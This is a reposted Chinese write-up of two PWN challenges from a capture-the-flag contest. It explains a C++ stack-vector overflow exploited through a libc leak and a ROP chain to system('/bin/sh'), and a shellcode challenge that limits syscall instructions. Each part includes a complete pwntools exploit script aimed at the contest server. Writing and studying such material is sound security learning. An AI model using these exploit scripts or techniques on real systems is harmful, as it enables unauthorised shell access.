自学内容网 自学内容网

第八届西湖论剑初赛PWN题部分题解

PWN Vpwn

下载附件,里面两个文件一个Vpwn,一个库文件,先check一下Vpwn文件看看

64位保护全开,拖进IDA中进行分析,查看main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // ebx
  int v5; // [rsp+8h] [rbp-68h] BYREF
  int v6; // [rsp+Ch] [rbp-64h] BYREF
  unsigned __int64 v7; // [rsp+10h] [rbp-60h] BYREF
  char v8[40]; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 v9; // [rsp+58h] [rbp-18h]

  v9 = __readfsqword(0x28u);  // 栈保护机制(Canary)
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_1840((__int64)v8);  // 初始化向量
  while ( 1 )
  {
    // 打印菜单
    std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");
    std::istream::operator>>(&std::cin, &v5);  // 读取用户选择

    switch ( v5 )
    {
      case 1:  // 编辑元素
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
        std::istream::operator>>(&std::cin, &v7);  // 读取索引
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
        std::istream::operator>>(&std::cin, &v6);  // 读取新值
        v3 = v6;
        *(_DWORD *)sub_185C((__int64)v8, v7) = v3;  // 修改元素
        std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
        break;
      case 2:  // 推入元素
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");
        std::istream::operator>>(&std::cin, &v7);  // 读取值
        sub_18F4((__int64)v8, (int *)&v7);  // 推入元素
        std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");
        break;
      case 3:  // 弹出元素
        sub_1928((__int64)v8);  // 弹出元素
        std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");
        break;
      case 4:  // 打印向量
        sub_19BC((__int64)v8);  // 打印向量内容
        break;
      case 5:  // 退出程序
        std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");
        return 0LL;
      default:
        std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");
        break;
    }
  }
}

大致可以得出程序的基本功能 通过菜单选项来操作一个向量(StackVector)。主要功能包括:编辑元素,推入元素,弹出元素,打印向量,退出程序

跟进一下sub_1840 函数(是初始化向量)

函数初始化向量,将向量的大小设置为 0。

接着看其他功能函数sub_185C 函数(编辑元素)

简要分析一下

__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
  std::out_of_range *exception; // rbx

  if ( a2 >= *(_QWORD *)(a1 + 24) )  // 检查索引是否越界
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "Index out of range");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
  return 4 * a2 + a1;  // 返回元素地址
}

函数主要用于编辑向量中的元素,虽然函数检查了索引是否越界,但如果索引为负数,会导致未定义行为。没什么用接着跟进其他功能函数sub_18F4 函数(推入元素)

分析一下,发现漏洞点

__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
  int v2; // ecx
  __int64 result; // rax

  v2 = *a2;
  result = *(_QWORD *)(a1 + 24);  // 获取当前大小
  *(_QWORD *)(a1 + 24) = result + 1;  // 增加大小
  *(_DWORD *)(a1 + 4 * result) = v2;  // 写入新元素
  return result;
}

用于向向量中推入一个新元素。没有检查向量是否已满,导致堆栈溢出。

接着分析,跟进下sub_1928 函数

分析一下

__int64 __fastcall sub_1928(__int64 a1)
{
  std::out_of_range *exception; // rbx
  __int64 result; // rax

  if ( !*(_QWORD *)(a1 + 24) )  // 检查向量是否为空
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "StackVector is empty");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
  result = a1;
  --*(_QWORD *)(a1 + 24);  // 减少大小
  return result;
}

函数主要从向量中弹出最后一个元素。没有释放内存,可能会内存泄漏。

分析下最后一个功能函数sub_19BC 函数

分析一下

__int64 __fastcall sub_19BC(__int64 a1)
{
  __int64 v1; // rax
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  std::operator<<<std::char_traits<char>>(&std::cout, "StackVector contents: ");
  for ( i = 0LL; i < *(_QWORD *)(a1 + 24); ++i )  // 遍历向量
  {
    v1 = std::ostream::operator<<(&std::cout, *(unsigned int *)(a1 + 4 * i));  // 打印元素
    std::operator<<<std::char_traits<char>>(v1, " ");
  }
  return std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}

函数实现了打印向量中的所有元素,但是没有检查向量大小,可以越界访问,

分析完了总结下漏洞点

sub_18F4 函数中,推入元素时没有检查向量是否已满,可能导致堆栈溢出。在 sub_185C 函数中,索引为负数时可能导致未定义行为。通过打印向量内容,可以泄露堆栈上的数据,包括 libc 地址。通过编辑向量中的元素,可以构造 ROP 链,利用 libc 中的函数(如 system)来执行任意命令。

确定下思路开始编写exp

首先先推入多个元素,使向量中存储堆栈上的数据,打印向量内容,获取 libc 地址,然后计算下libc基地址,然后构造ROP链,分别计算 system/bin/shpop_rdi 的地址在ROP链中构造出system(“/bin/sh”),通过编辑功能将ROP链写入,最后选择退出程序,触发 ROP 链的执行。获取shell

开始编写exp

完整exp如下:

from pwn import *
libc = ELF('./libc.so.6')
io = remote('139.155.126.78', 17615)
def command(option):
    io.sendlineafter(b'choice', str(option).encode())
def edit(idx, content=b'1'):
    command(1)
    io.recvuntil(b'edit')
    io.sendline(str(idx).encode())
    io.recvuntil(b'value')
    io.sendline(str(content).encode())
def dword_data(data, half):
    if half == 0:
        tmp = data & 0xffffffff
    else:
        tmp = (data >> 32) & 0xffffffff
    if tmp > 0x7FFFFFFF:
        tmp -= 2**32
    return tmp
for i in range(8):
    command(2)
    io.recvuntil(b'push')
    io.sendline(b'888')
command(4)
io.recvuntil(b'StackVector contents: ')
vector_data = io.recvuntil(b'\n').split(b' ')
libc_addr = (int(vector_data[19]) << 32) + (int(vector_data[18]) & 0xffffffff)
libcbase = libc_addr - 0x29d90
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
pop_rdi = libcbase + 0x2a3e5
rop_index = 18
#构造ROP链
edit(rop_index, dword_data(pop_rdi + 1, 0)) 
edit(rop_index + 1, dword_data(pop_rdi + 1, 1))  
edit(rop_index + 2, dword_data(pop_rdi, 0)) 
edit(rop_index + 3, dword_data(pop_rdi, 1))  
edit(rop_index + 4, dword_data(str_bin_sh, 0))  
edit(rop_index + 5, dword_data(str_bin_sh, 1)) 
edit(rop_index + 6, dword_data(system, 0))  
edit(rop_index + 7, dword_data(system, 1))  
command(5)
io.interactive()


Heaven’s door

下载附件先check一下

img

64位部分保护开启,拖进IDA中进行分

分析主函数

img

调用 fork() 创建子进程。父进程:使用 mmap 分配一块内存(地址 0x10000,大小 0x1000)。从标准输入读取最多 0xC3 字节的数据到分配的内存中。调用 count_syscall_instructions 检查输入的数据中是否包含超过 2 个系统调用指令(syscallint 0x80)。如果系统调用指令超过 2 个,程序退出。否则,调用 sandbox 设置沙箱规则,并执行用户输入的代码。子进程:调用 made_in_heaven 输出一些字符串。

跟进分析一下sandbox 函数:

img

使用 prctl 设置沙箱规则,限制程序的行为(例如禁止创建新进程、禁止执行某些系统调用等)。

接着分析count_syscall_instructions 函数

img

检查用户输入的代码中是否包含系统调用指令(0x0F 0x050xCD 0x80

接着分析made_in_heaven 函数

img

输出一些字符串,模拟程序的行为

整个大开分析一下,程序限制了系统调用的数量(最多 2 个),构造一个 payload,确保其中的系统调用指令不超过 2 个,同时能够实现目标(例如获取 shell)。

思路确定编写脚本

from pwn import *

context.arch = 'amd64'

shellcode = asm(shellcraft.sh())

syscall_count = shellcode.count(b'\x0f\x05')  
if syscall_count > 2:
    print("Shellcode contains too many syscalls!")
    exit(1)
print(f"Generated shellcode (syscall count: {syscall_count}):")
print(hexdump(shellcode))
io = remote('139.155.126.78', 32350)
io.send(shellcode)
io.interactive()

img

感兴趣的师傅可以试试题目附件:

通过网盘分享的文件:2025西湖论剑PWN题
链接: https://pan.baidu.com/s/1e2l_7BNq1Bk02WlgUu2QkQ?pwd=1111 提取码: 1111
–来自百度网盘超级会员v3的分享


原文地址:https://blog.csdn.net/2301_80217770/article/details/145229251

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!